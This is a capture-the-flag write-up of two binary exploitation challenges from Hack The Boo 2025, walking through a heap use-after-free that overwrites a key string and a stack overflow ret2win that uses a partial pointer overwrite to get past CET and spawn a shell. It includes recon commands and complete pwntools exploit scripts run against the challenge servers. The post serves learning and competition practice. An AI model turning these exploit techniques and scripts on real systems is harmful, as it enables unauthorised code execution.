Hack The Boo CTF 2025 | Pwn
All Pwn challenges from HackTheBoo 2025
Hack The Boo CTF 2025 was a 2-day CTF hosted by HackTheBox. I competed solo and finished in the top 5 out of 2,893 players. This post covers the Pwn challenges.
Rookie Salvation [medium]
Rook’s last stand against NEMEGHAST begins now. This is no longer a simulation—it’s the collapse of control. Legend speaks of only one entity who ever broke free from the Matrix: the original architect of NEMEGHAST. His name—buried, forbidden, encrypted—was the master key. If you can recover it… and inject it into the core… Rook will finally be free.
Step 1: Explore the Challenge Files
1ls
2file rookie_salvation
3cat README.txtFindings:
- Only one ELF (
rookie_salvation) plus flavor text. - 64-bit dynamically linked PIE, NX and stack canary enabled, so a classic ret2win is unlikely.
Step 2: Baseline Protections and UX
1checksec --file=rookie_salvation
2./rookie_salvationchecksec confirms Full RELRO, Canary, NX, PIE. Running the binary shows the three-option:
1+-------------------+
2| [1] Reserve space |
3| [2] Obliterate |
4| [3] Escape |
5+-------------------+Option 3 invokes the salvation check, so the vulnerability must involve options 1 and 2.
Step 3: Static Reconnaissance
Enumerate symbols and dive into the interesting functions with radare2.
1nm -C rookie_salvation
2r2 -q -c 'aaa; e scr.color=false; s sym.reserve_space; pdf' rookie_salvation
3r2 -q -c 'aaa; e scr.color=false; s sym.obliterate; pdf' rookie_salvation
4r2 -q -c 'aaa; e scr.color=false; s sym.road_to_salvation; pdf' rookie_salvationKey observations:
mainallocates a single heap chunk (malloc(0x26)) and stores its pointer in the globalallocated_space. The bytes atallocated_space + 0x1eare initialized to the string"deadbeef".- reserve_space
- Prompts for a size,
mallocs that size, and lets usscanf("%s")directly into the new chunk. - Never updates the global
allocated_space; it only stores the pointer in a local variable.
- Prompts for a size,
- obliterate calls
free(allocated_space)without nulling the pointer. - road_to_salvation compares
strcmp((char*)(allocated_space+0x1e), "w3th4nds"). If it matches, the function opensflag.txt; otherwise loop back to menu.
This sets up a dangling pointer: after obliterate, the global pointer remains, but the chunk returns to the tcache and can be reclaimed via reserve_space.
Step 4: Exploitation Strategy
- Obliterate the original chunk so it enters the tcache bin for size 0x30.
- Reserve a new chunk of a compatible size (decimal 40 in the menu suffices – glibc rounds to the same 0x30 size class).
- Because the freed chunk is first in the tcache list, the new allocation reuses the exact same address still stored in
allocated_space. - When we input data for the new chunk, we overwrite the bytes at offset
0x1e, effectively rewriting the salvation key thatroad_to_salvationwill later verify. - Trigger option 3 to read the flag.
Step 5: Local Proof of Concept
Use pwntools to script the menu sequence and confirm that replacing the secret with w3th4nds prints the local fake flag.
1from pwn import *
2context.log_level = 'debug'
3elf = ELF('./rookie_salvation', checksec=False)
4
5io = process(elf.path)
6io.recvuntil(b'> ')
7io.sendline(b'2')
8io.recvuntil(b'> ')
9io.sendline(b'1')
10io.recvuntil(b': ')
11io.sendline(b'40')
12io.recvuntil(b': ')
13io.sendline(b'A'*30 + b'w3th4nds')
14io.recvuntil(b'> ')
15io.sendline(b'3')
16print(io.recvrepeat(1).decode())
17io.close()Output:
1[Unknown Voice] ✨ 𝐅𝐢𝐧𝐚𝐥𝐥𝐲.. 𝐓𝐡𝐞 𝐰𝐚𝐲.. 𝐎𝐮𝐭..HHTB{f4k3_fl4g_4_t35t1ng}The local binary with a dummy flag, confirming that the logic works.
Step 6: Exploit
1from pwn import *
2
3context.binary = ELF("./rookie_salvation", checksec=False)
4context.log_level = "info"
5
6HOST = "209.38.254.18"
7PORT = 31337
8
9
10def forge_key(io):
11 io.sendlineafter(b"> ", b"2")
12 io.sendlineafter(b"> ", b"1")
13 io.sendlineafter(b": ", b"40")
14 payload = b"A" * 0x1E + b"w3th4nds"
15 io.sendlineafter(b": ", payload)
16 io.sendlineafter(b"> ", b"3")
17 io.recvuntil(b"HTB{")
18 flag = b"HTB{" + io.recvuntil(b"}")
19 log.success(flag.decode())
20
21
22def main():
23 io = remote(HOST, PORT)
24 forge_key(io)
25
26
27if __name__ == "__main__":
28 main()Run the script
1python3 exploit.py1[+] Opening connection to 209.38.254.18 on port 31337: Done
2[+] HTB{h34p_2_h34v3n}
3[*] Closed connection to 209.38.254.18 port 31337Rookie Mistake [easy]
Rook, the fearless, reckless hunter, has become trapped within the binary during his attempt to erase NEMEGHAST. To set him free, you must align the cores and unlock his path back to the light. Failing that… find another way. Bypass the mechanism. Break the cycle. objective: Ret2win but not in a function, but a certain address.
Step 1: Explore the Challenge Files
Identify the provided artifacts and the binary format.
1ls
2file rookie_mistake
3cat README.txtFindings:
- Single ELF named
rookie_mistake, plus a themed README. - 64-bit dynamically linked binary, no PIE, NX enabled, stack canary disabled, CET (IBT/SHSTK) on.
Step 2: Baseline Runtime Behavior
Observe how the binary interacts with stdin/stdout.
1./rookie_mistakeOutput snippet:
1【Gℓιт¢н Vσι¢є】Яοοқ... Μу ɓєℓονєɗ нυηтєя.. Aℓιgη тнє ¢οяєѕ.. Eѕ¢αρє!
2rook@ie:~$ 【Gℓιт¢н Vσι¢є】Шɨʟʟ ʏѳʋ ʍąŋąɠɛ ȶѳ ƈąʟʟ ȶнɛ ƈѳяɛ ąŋɗ ɛʂƈąքɛ?!Program reads from stdin once; any crash exits back to shell. No evidence of menuing or length checks, likely a single overflow.
Step 3: Static Recon
Use pwntools/objdump to enumerate symbols and key functions.
1from pwn import *
2elf = ELF('rookie_mistake')
3print('main', hex(elf.symbols['main']))
4for name in ('banner','check_core','overflow_core','fail','setup'):
5 func = elf.functions[name]
6 print(f"{name}@{hex(func.address)} size {func.size}")Highlights:
mainzeroes a 32-byte local buffer, prints ASCII art, then callsread(0, buf, 0x2e).check_core/overflow_corecompare six global “core” slots against user input; failing invokesfail(prints scolding text).0x401758is a short stub that loads the string/bin/shfrom.rodataand jumps tosystem@plt, a classicwingadget.
strings confirms /bin/sh at 0x4030a7.
Step 4: Measure the Overflow
Inspect main’s prologue to confirm stack layout.
1objdump -d rookie_mistake --start-address=0x40176b --stop-address=0x4017d6Key instructions:
sub rsp, 0x20→ local buffer is 0x20 bytes.- After the
readcall there is no stack canary; returning uses the savedrbp/ripat offsets+0x20and+0x28.
Therefore payload structure: [32 bytes padding][overwrite saved RBP][new RIP].
Step 5: Local Proof of Concept
Craft payload and run locally to ensure the jump hits system.
1from pwn import *
2payload = b'A'*0x20 + b'B'*8 + p64(0x401758)[:6]
3proc = process('./rookie_mistake')
4proc.send(payload + b'id\n')
5print(proc.recvline())Notes:
- CET rejects 8-byte gadgets lacking ENDBR64, so partial overwrite (
[:6]) keeps high bytes intact and lands exactly on0x401758which begins with ENDBR. - After ret, banner still prints due to buffered output; patience is required.
Step 6: The Exploit
1from pwn import *
2import time
3
4context.binary = ELF('./rookie_mistake')
5context.log_level = 'info'
6
7HOST = '164.92.240.36'
8PORT = 30498
9WIN_ADDR = 0x401758
10OFFSET = 0x20
11
12payload = b'A' * OFFSET
13payload += b'B' * 8
14payload += p64(WIN_ADDR)[:6]
15
16CMD = b'cat flag.txt || cat /flag'
17
18
19def main():
20 io = remote(HOST, PORT)
21 io.sendline(payload)
22 io.sendline(CMD)
23
24 data = b''
25 deadline = time.time() + 120
26 while time.time() < deadline:
27 chunk = io.recv(timeout=5)
28 if not chunk:
29 continue
30 data += chunk
31 if b'HTB{' in data:
32 break
33
34 start = data.index(b'HTB{')
35 end = data.index(b'}', start)
36 flag = data[start:end+1]
37 log.success(flag.decode())
38 with open('flag.txt', 'wb') as f:
39 f.write(flag + b"\n")
40 io.close()
41
42
43if __name__ == '__main__':
44 main()- CET’s SHSTK/IBT do not hinder us because the entire thing is legitimate compiled code.
- The slow, sleep-laden
printstrroutine meansrecvrepeat/timeouts must be generous.
Run the exploit
1python3 exploit.py1[*] Opening connection to 164.92.240.36 on port 30498: Done
2[*] Received 4146 bytes
3[+] HTB{r3t2c0re_3sc4p3_th3_b1n4ry_9944a468344bd702fa436e27b18b3dd7}Takeaways
- Non-PIE binary + absent canary reduces exploit to straightforward ret2win despite CET being enabled.
- Partial-pointer overwrites remain handy for CET-hardened binaries where high bytes must remain canonical.